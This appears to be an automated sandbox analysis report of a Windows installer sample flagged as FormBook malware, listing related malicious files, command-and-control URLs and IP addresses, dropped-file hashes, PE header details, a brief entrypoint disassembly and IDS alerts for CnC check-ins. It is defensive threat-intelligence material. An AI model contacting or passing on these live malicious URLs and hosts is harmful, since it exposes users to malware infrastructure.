Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.211.4.90
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
192.185.217.47	SecuriteInfo.com.FileRepMalware.16929.9956.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?w4hDa6_P=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0flOUm4qON1Jqzg==&cFQ=V2JLd8UPC
	xLd3hdhrqJ.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?vv=UDH8sX&2dKD=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692MpWFmEiKCsF21Xzw==
	inquiry 1811_G_2022.xls	Get hash	malicious	Browse	www.eufidelizo.com/henz/?g6=wcp3urA+/rGtUuNVdnH1r+maH4Zk43GXlvUWG7FdGjeYGPzd5j/gkjEzvi43j/MvxviINYayZJCRqW/W9XQVTF/IofufAFE08LFc5gk=&m2J0=0N9LsTr0
	hjGin4suRR.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?W0DX=w6tXfJTpFTW&4hrd=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0fnfE5LCOM1Ryzg==
	m74vEPIwk5.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?3fH8WXCH=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692MpWFmEiKCsF21Xzw==&o0Dl3=Rj3HTZzX0DeLSz
	P0qK73fPZ4.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?bBZl=_PvXsR6pHXjPkJe&m2JXFV=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0fnfE5LCOM1Ryzg==
	TX7yLkC2TS.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?-ZnD=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0fnfE5LCOM1Ryzg==&z2JtHJ=UBt8FTL
	hF6Ip5MMDI.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?RDHh1F=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0fnfE5LCOM1Ryzg==&6lsp=B2MDzdbXOTlT
	9061630 - JSW ID KAD new order as of 11.015.2022.xls	Get hash	malicious	Browse	www.eufidelizo.com/henz/?btxtd0=wcp3urA+/rGtUuNVdnH1r+maH4Zk43GXlvUWG7FdGjeYGPzd5j/gkjEzvi43j/MvxviINYayZJCRqW/W9XQVTF/IofufAFE08LFc5gk=&7nxT-=hruxZn6hQHp
	0.General Representative Agreement Sales TO - Project Base.xls	Get hash	malicious	Browse	www.eufidelizo.com/henz/?3fodKL=wcp3urA+/rGtUuNVdnH1r+maH4Zk43GXlvUWG7FdGjeYGPzd5j/gkjEzvi43j/MvxviINYayZJCRqW/W9XQVTF/IofufAFE08LFc5gk=&o4=SFQ4vpDH2Hydg
	file.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?0Hut_Lox=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692MpWFmEiKCsF21Xzw==&rVtPIB=VZELH69PZta
	Deckles.exe	Get hash	malicious	Browse	www.eufidelizo.com/um7u/?YXyP=0n3pd2BhJpe0L&XR-tv=RlGM95gtKmWAT9TDK9eV+jU9YQcOVdDyjR3urqCZcyLNJvgg0N3JqRnUrr84y79st1pLk3KSQL7rQAdBjIMn4YAERI7P+DT6Fw==
	7ASTu3OkBj.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?IrHDJr=w2JLWvCHczspAV&1bst_NGP=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692MpWFmEiKCsF21Xzw==
	RGkYgSBkAA.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?4hOPTZ=GP_X&5jMl=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0fnfE5LCOM1Ryzg==
	fKT7Qe4s7b.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?3fHL=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0fnfE5LCOM1Ryzg==&0pu4=OJBP
	Minimal_Stock_Report_11-11-2022-01006.xls	Get hash	malicious	Browse	www.eufidelizo.com/henz/?7n-=wcp3urA+/rGtUuNVdnH1r+maH4Zk43GXlvUWG7FdGjeYGPzd5j/gkjEzvi43j/MvxviINYayZJCRqW/W9XQVTF/IofufAFE08LFc5gk=&Y0G=alPl2xE8BlJ
	JtUdhdonzo.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?FP=f0DdmxEHuvipVV&MtxPk=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0flOUm4qON1Jqzg==
	New order from Georgia RSLINE.xls	Get hash	malicious	Browse	www.eufidelizo.com/henz/?HtxDfNyH=wcp3urA+/rGtUuNVdnH1r+maH4Zk43GXlvUWG7FdGjeYGPzd5j/gkjEzvi43j/MvxviINYayZJCRqW/W9XQVTF/IofufAFE08LFc5gk=&5j=czrxUjO8YxP
	B8Ex71teF1.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?5jMH=T8kpkdhhtz5L8tT&zX0=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0fnfE5LCOM1Ryzg==
	file.exe	Get hash	malicious	Browse	www.eufidelizo.com/henz/?bTnX=5ju4ZRux&DHwlCL=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692M0flOUm4qON1Jqzg==

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.patrickguarte.com	SecuriteInfo.com.FileRepMalware.16929.9956.exe	Get hash	malicious	Browse	155.159.61.221
	xLd3hdhrqJ.exe	Get hash	malicious	Browse	155.159.61.221
	m74vEPIwk5.exe	Get hash	malicious	Browse	155.159.61.221
	TX7yLkC2TS.exe	Get hash	malicious	Browse	155.159.61.221
	WcA10vw4LK.exe	Get hash	malicious	Browse	155.159.61.221
	hF6Ip5MMDI.exe	Get hash	malicious	Browse	155.159.61.221
	file.exe	Get hash	malicious	Browse	155.159.61.221
	7ASTu3OkBj.exe	Get hash	malicious	Browse	155.159.61.221
	RGkYgSBkAA.exe	Get hash	malicious	Browse	155.159.61.221
	jYcGmTRl98.exe	Get hash	malicious	Browse	155.159.61.221
	fKT7Qe4s7b.exe	Get hash	malicious	Browse	155.159.61.221
	JtUdhdonzo.exe	Get hash	malicious	Browse	155.159.61.221
	DHL-Express.exe	Get hash	malicious	Browse	155.159.61.221
	B8Ex71teF1.exe	Get hash	malicious	Browse	155.159.61.221
	file.exe	Get hash	malicious	Browse	155.159.61.221
	Purchase Order.exe	Get hash	malicious	Browse	155.159.61.221

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
COGENT-174US	November Draw Disbursed.html	Get hash	malicious	Browse	38.34.185.163
	November Draw Disbursed.html	Get hash	malicious	Browse	38.34.185.163
	Order #RR00-927361823.img	Get hash	malicious	Browse	154.53.55.72
	NHYGUnNN.exe	Get hash	malicious	Browse	38.55.236.89
	robinbot	Get hash	malicious	Browse	38.136.33.70
	robinbot	Get hash	malicious	Browse	38.136.33.70
	New PO-RJ-IN-003 - Knauf Queimados.exe	Get hash	malicious	Browse	38.163.214.169
	Ziraat Bankasi Swift Mesaji20221129-34221.exe	Get hash	malicious	Browse	38.239.92.131
	Ziraat Bankasi Swift Mesaji20221129-34221.exe	Get hash	malicious	Browse	38.239.92.131
	KL7955.img	Get hash	malicious	Browse	206.1.131.23
	GyKpRhKQY1.elf	Get hash	malicious	Browse	38.211.154.4
	kTK22xqEq6.elf	Get hash	malicious	Browse	204.7.115.146
	7HuJu44thW.elf	Get hash	malicious	Browse	38.15.202.230
	8kH56VSq58.elf	Get hash	malicious	Browse	38.140.31.193
	mail.us-0LF8-YHCG0N-MBA4-Centor-mail.us-0LF8-YHCG0N-MBA4-Centor-mail.us-0LF8-YHCG0N-MBA4.html	Get hash	malicious	Browse	38.34.185.163
	SecuriteInfo.com.FileRepMalware.16929.9956.exe	Get hash	malicious	Browse	206.233.197.135
	sora.arm.elf	Get hash	malicious	Browse	140.242.24.234
	file.exe	Get hash	malicious	Browse	38.239.46.206
	Yw0HhtLWAz.elf	Get hash	malicious	Browse	149.113.236.91
	Mddos.arm7.elf	Get hash	malicious	Browse	38.116.142.135
UNIFIEDLAYER-AS-1US	Markelcorp Pay Application November 29, 2022_11725512247820161423.html	Get hash	malicious	Browse	192.185.196.50
	Markelcorp Pay-Application Completed November 29, 2022_48707712230774110046.html	Get hash	malicious	Browse	192.185.196.50
	https://b6dj2ueylkg.juraganrc.com/?url=aHR0cHM6Ly9ob2xseS1sYXZlbmRlci1yYXR0bGVzbmFrZS5nbGl0Y2gubWUvdmlsZC5odG1s	Get hash	malicious	Browse	192.185.138.191
	SIEM_PO00938467648.vbs	Get hash	malicious	Browse	162.240.62.179
	Revised Policy Benefits.html	Get hash	malicious	Browse	192.185.196.49
	Revised Policy Benefits.html	Get hash	malicious	Browse	192.185.196.49
	New_Financia1_Report.htm	Get hash	malicious	Browse	69.49.234.179
	New_Financia1_Report.htm	Get hash	malicious	Browse	69.49.234.179
	Policy handbook.html	Get hash	malicious	Browse	50.87.153.144
	New PO-RJ-IN-003 - Knauf Queimados.exe	Get hash	malicious	Browse	192.185.90.105
	SHIPPING DOC.exe	Get hash	malicious	Browse	50.87.139.143
	Cg7vRuVKhI.exe	Get hash	malicious	Browse	108.167.141.123
	policy handbooks.html	Get hash	malicious	Browse	50.87.153.144
	https://u29751933.ct.sendgrid.net/ls/click?upn=CnGGOnFaxhvhWvH4Fu0DshuMMwznLhhSl0vF9VJfmXn4k3uWmXtWEXgU1gN1sOYDM-2FnTKBAYRDOo-2Fxp1e29eFw-3D-3D1SY9_-2FHydVa-2F6RgJ-2BO01uO1tSzf4k9wftL50WVzxI-2BDuM83WY91mlfH2j-2BdduOmIaC9RL57-2F4cZ8bwv5R6qDViDOPW8H7XI4v762lTVPjiQ2n2fiTT0EsPoTwZUC1VOPK6BOuruRTtU-2FIclxgJ3qp4zIBngkcg1uQEKF68oozcL-2BfK4GoB5e-2BnOh4XhI8nLZlju2lQTsa8dPRVDT7dRrjRlibaPNNXjuJ6PKaJjbMu-2Bzfm-2F8-3D	Get hash	malicious	Browse	50.87.144.212
	http://nbtp3.commentlikeordislike.com/aHR0cHM6Ly9mb3Vyc3RhcmFsYW4uY29tL3N1Y2Nlc3MvZ28vZ2FicmllbGEubWFydGluQHNreWFpcmxpbmUuY29t	Get hash	malicious	Browse	69.49.229.176
	SecuriteInfo.com.FileRepMalware.16929.9956.exe	Get hash	malicious	Browse	162.214.129.149
	Revised Policy Benefits.html	Get hash	malicious	Browse	192.185.196.49
	Confirmation transfer Copy AGS # 22-0035.xls	Get hash	malicious	Browse	69.49.245.57
	PO-09784893 xlsx.vbs	Get hash	malicious	Browse	192.185.145.188
	PO-08784 xlsx.vbe	Get hash	malicious	Browse	192.185.145.188

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\-ODfqI49

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.287139506398081
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPF6n/YVuzdqfEwn7PrH944:QS/indc/YVuzdqfEwn7b944
MD5:	292F98D765C8712910776C89ADDE2311
SHA1:	E9F4CCB4577B3E6857C6116C9CBA0F3EC63878C5
SHA-256:	9C63F8321526F04D4CD0CFE11EA32576D1502272FE8333536B9DEE2C3B49825E
SHA-512:	205764B34543D8B53118B3AEA88C550B2273E6EBC880AAD5A106F8DB11D520EB8FD6EFD3DB3B87A4500D287187832FCF18F60556072DD7F5CC947BB7A4E3C3C1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\febcldoukq.exe

Download File

Process:	C:\Users\user\Desktop\qHpeBvr9cR.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	147968
Entropy (8bit):	6.182768531900874
Encrypted:	false
SSDEEP:	3072:ZOPPLcLPR2kaQ+nYwZbBPUxRC/akBYcgVg7JkWmjwaY4YFOnJSwy:ZiLcLPRi/xB8gFLm8oJSd
MD5:	96E050F99502FE7C52FD9B0F10202578
SHA1:	9ACE01D602E21FF8BF364A3BB2F46BC7FD285A7B
SHA-256:	C7207F58E7A5BAD6EFC38C7DDFDDBC3B32C28F6BBA01D4251A44F6BBDABE4BC3
SHA-512:	E09EDF0C05667FD2B684AD48F6938A0FB41C9B346197D5065FE828093789140B1A1F79279D8504428C9BA0B8049FAD9D7242015C43B746C854688AA883898E1E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 20%
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......c............................,.............@.......................................@.........................................................................................................`...................\|............................text.............................. ..`.rdata..$t.......v..................@..@.data....%...@......................@....00cfg.......p.......&..............@..@.voltbl."............(...................rsrc................*..............@..@.reloc...............,..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsx95CC.tmp

Download File

Process:	C:\Users\user\Desktop\qHpeBvr9cR.exe
File Type:	data
Category:	dropped
Size (bytes):	347987
Entropy (8bit):	7.481309990466636
Encrypted:	false
SSDEEP:	6144:RucNUhVyZTV2GQFRx0+EzyfkKisTiLcLPRi/xB8gFLm8oJSd:32jyZTgGL3cimiLcLPsPDC8n
MD5:	3D3DFD7BB3B31CA9F6A9085FF03A933F
SHA1:	C445CD44742166B12BC976C54EB0422E7B377C73
SHA-256:	74B5FDE9425C99AEB58669440FEE9206A57CAA8790635253E7F5C215973F4FB5
SHA-512:	202322D77C9697C31197F059DEF5879089D15CFCAA5BAA34C9603487ACC73F9E6D3EE5CD693B9523A57A24176604D588F0DFFA1A2C8E6229BCCE345485194BA8
Malicious:	false
Reputation:	low
Preview:	v.......,...................>...................^...........................................................................................................................................................................................................................................J...................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rcibkfyfwn.yxq

Download File

Process:	C:\Users\user\Desktop\qHpeBvr9cR.exe
File Type:	data
Category:	dropped
Size (bytes):	189440
Entropy (8bit):	7.9986039311688
Encrypted:	true
SSDEEP:	3072:8fFUilhKe4N7QY77ozZs4cwNwnj9XGKjbMVcRx0+DBhaQmmmXzbwaf6f03uftUZj:8NUhVyZTV2GQFRx0+EzyfkKisy
MD5:	9929DD1C8831360C68C176ADB59CA947
SHA1:	6CB9F8D296878B31DB696038EA01470613AEED9F
SHA-256:	5F3B667FA88AAD6BA21374E37014E72C2AAD0317ED1DE2C1D6DE839A61F9F541
SHA-512:	390D7426188347A9F64D9EEA2A9B89807443BBDAC1409DB20532CD504A56637005B75B8FE23D29E5F8187D9D1DEB238B10FE8734ED504C13AE9E5478667F0E9C
Malicious:	false
Reputation:	low
Preview:	..u..2..q..... .W.....0ng!Pz..a.8.4..Y.....o..%.a..u.j.:V...p....<!........P[.$..GiQO.P:.@..}~...:,..aN.i>.....-pF.j0..D...EM....4...../.$....i..t.f.z.W. %hO........?.O[8....n...a.1....CK.7%=.....;G...ku.....=.080..J.(......`.,..U.N..xm..:..#.p\;..2..$o...t.......[.'.5b{'..a(8....Y....qo..%.a(..u.j.:.........,a.U-...Je/Z....A.E..TF.4.F.{4.p.../7.@.=..m.....s0..D.....1.~T..0Y.'(>....Hx....\h5.......(@.3`....,.?.O[8...k...ua.1-J,..\|I..9.f.....;G.G...EVz....(80..J.(..R...S.,..!.N.dxm..:.O#.d\;..2..o...t..6$..O[.'.5b.'z..a.8.4..Y.....o..%.a..u.j.:.........,a.U-...Je/Z....A.E..TF.4.F.{4.p.../7.@.=..m.....s0..D.....1.~T..0Y.'(>....Hx....\h5.......(@.3`....,.?.O[8....n...a.1.....SI...6f....;G.G...EVz....080..J.(..R...S.,..!.N.dxm..:.O#.d\;..2..o...t..6$..O[.'.5b.'z..a.8.4..Y.....o..%.a..u.j.:.........,a.U-...Je/Z....A.E..TF.4.F.{4.p.../7.@.=..m.....s0..D.....1.~T..0Y.'(>....Hx....\h5.......(@.3`....,.?.O[8....n...a.1.....SI...6f....;G.G...EVz....080..J.(.

C:\Users\user\AppData\Local\Temp\uebzn.cef

Download File

Process:	C:\Users\user\Desktop\qHpeBvr9cR.exe
File Type:	data
Category:	dropped
Size (bytes):	5837
Entropy (8bit):	6.204282040759092
Encrypted:	false
SSDEEP:	96:FMlgVSPVGToJyq52wK33eDdEA2GVnb3+EFxIhP/mny+lDMv4h3UboO:7StrNtK3eBEAHb37PnN3/O
MD5:	28373E2B7E834278BBFC8597EA79A659
SHA1:	674506B6D8C29D724529B2154D2EDCABEC4DB4EB
SHA-256:	C8BD6B365CE4C504FD875CC967B7B498E8D79A27E877DBF1B3128EAD638C1B57
SHA-512:	4B1CB1CFE3DB15617511826351738010044DB5742E2BE522D3661D36AA532EF52CD59776A211C51BC58F118CF64B126ADC0296D537ACEECE7E66E7D6D7034BDE
Malicious:	false
Reputation:	low
Preview:	;.....s.................U..>.s................"...B.....Z.......=.Z=.......T....>..."L.....=.\#BS3!..b.).#.X.T...;...T....>..s................... ..B.....Z..g.......2.Z...[U.Z[U..>.."....Z......$.....................T....>......."........a.......1....9....)........".Z...D.a.B............".A.Z...[T".....Q......a==..>......s..................s0..B......".2.....%......%..........%.Z......a....Q...Q..T...g.Y.Z..Q..T...\g.Y.....g....Q..(.U....1...."....a..."........2....G.Z=..Z...[T"...>..."L.....=.\#BS3!g...b.).#.Q.T...A...T....>.>....a.v....g.v..^`.6.`.?.`.@.`.A.`.B...2.................\|......~......H......J......D......F......P......R......L.....N......X......Z......T.Z...VB......>..u0...>B.........@...>B......r..W...>B......f.7.F...>B8.....j...A...>B(.......0...>BX.....n.H.Z...>BH.....z.zc...>Bx......Z.Z.`.....Z.S:.`.....Z.#:`.....Z.Z.`.....Z.S:.`....g.2..^..:.=!..:..:..:.....:.$.......^.X..:.P....b..:....=).Z.Z..P..6.[.[..P....S...Z.S:..P..6.[.S3..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.9356650255872205
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	qHpeBvr9cR.exe
File size:	285325
MD5:	f5bea76ffac05afbe19274595801184e
SHA1:	93ef457bfcbc5f0860b1b7f6353ed6e9b0afd60e
SHA256:	40dcfb704112265b383679baa3064cd7355bd02119b117f396e1b0283342362c
SHA512:	3e1537258907bc3707c5cd0a54b4b5d35516e1ccb2443dfcfb493ecd931a734acf85bf2fb9aede36893b7dd12ee71baac7df48506117aee972bdab68e6a08ab3
SSDEEP:	6144:QBn1RomeugRHbNAtHRgt/GVl9tSvOBFRQecwcwHa:gavFRy5Ot/OceFRbfHa
TLSH:	2554233734CA95BBD8674633C8B3A1E6D37FE2034422115B1BD50F66B6987C3C26299B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........3(..RF..RF..RF.]...RF..RG.pRF.]...RF..qv..RF..T@..RF.Rich.RF.........................PE..L...ly.V.................^.........

File Icon


Icon Hash:	b2a88c96b2ca6a72

Static PE Info

General

Entrypoint:	0x40324f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x567F796C [Sun Dec 27 05:38:52 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	ab6770b0a8635b9d92a5838920cfe770

Entrypoint Preview

Instruction
sub esp, 00000180h
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+14h], 00409130h
xor esi, esi
mov byte ptr [esp+18h], 00000020h
call dword ptr [004070B8h]
call dword ptr [004070B4h]
cmp ax, 00000006h
je 00007F445C64C0C3h
push ebx
call 00007F445C64EEB1h
cmp eax, ebx
je 00007F445C64C0B9h
push 00000C00h
call eax
push 004091E0h
call 00007F445C64EE32h
push 004091D8h
call 00007F445C64EE28h
push 004091CCh
call 00007F445C64EE1Eh
push 0000000Dh
call 00007F445C64EE81h
push 0000000Bh
call 00007F445C64EE7Ah
mov dword ptr [00423F84h], eax
call dword ptr [00407034h]
push ebx
call dword ptr [00407270h]
mov dword ptr [00424038h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 00000160h
push eax
push ebx
push 0041F538h
call dword ptr [00407160h]
push 004091C0h
push 00423780h
call 00007F445C64EAB1h
call dword ptr [004070B0h]
mov ebp, 0042A000h
push eax
push ebp
call 00007F445C64EA9Fh
push ebx
call dword ptr [00407144h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73cc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2d000	0x9e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x280	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5c4a	0x5e00	False	0.659906914893617	data	6.410763775060762	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x115e	0x1200	False	0.4466145833333333	data	5.142548180775325	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1b078	0x600	False	0.455078125	data	4.2252195571372315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x25000	0x8000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2d000	0x9e0	0xa00	False	0.45625	data	4.509328731926377	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2d190	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States
RT_DIALOG	0x2d478	0x100	data	English	United States
RT_DIALOG	0x2d578	0x11c	data	English	United States
RT_DIALOG	0x2d698	0x60	data	English	United States
RT_GROUP_ICON	0x2d6f8	0x14	data	English	United States
RT_MANIFEST	0x2d710	0x2cc	XML 1.0 document, ASCII text, with very long lines (716), with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	SetFileAttributesA, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CompareFileTime, SearchPathA, Sleep, GetTickCount, CreateFileA, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, CreateDirectoryA, lstrcmpiA, GetTempPathA, GetCommandLineA, GetVersion, SetErrorMode, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, GetTempFileNameA, lstrlenA, lstrcatA, GetSystemDirectoryA, LoadLibraryA, SetFileTime, CloseHandle, GlobalFree, lstrcmpA, ExpandEnvironmentStringsA, GetExitCodeProcess, GlobalAlloc, WaitForSingleObject, ExitProcess, GetWindowsDirectoryA, GetProcAddress, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, ReadFile, FindClose, GetPrivateProfileStringA, WritePrivateProfileStringA, WriteFile, MulDiv, LoadLibraryExA, GetModuleHandleA, MultiByteToWideChar, FreeLibrary
USER32.dll	GetWindowRect, EnableMenuItem, GetSystemMenu, ScreenToClient, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetForegroundWindow, PostQuitMessage, RegisterClassA, EndDialog, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndPaint, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, OpenClipboard, TrackPopupMenu, SendMessageTimeoutA, GetDC, LoadImageA, GetDlgItem, FindWindowExA, IsWindow, SetClipboardData, SetWindowLongA, EmptyClipboard, SetTimer, CreateDialogParamA, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteValueA, SetFileSecurityA, RegOpenKeyExA, RegDeleteKeyA, RegEnumValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5206.233.197.13549710802031453 11/30/22-01:10:42.253815	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49710	80	192.168.2.5	206.233.197.135
192.168.2.5162.214.129.14949712802031453 11/30/22-01:10:50.366888	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49712	80	192.168.2.5	162.214.129.149
192.168.2.5206.233.197.13549710802031449 11/30/22-01:10:42.253815	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49710	80	192.168.2.5	206.233.197.135
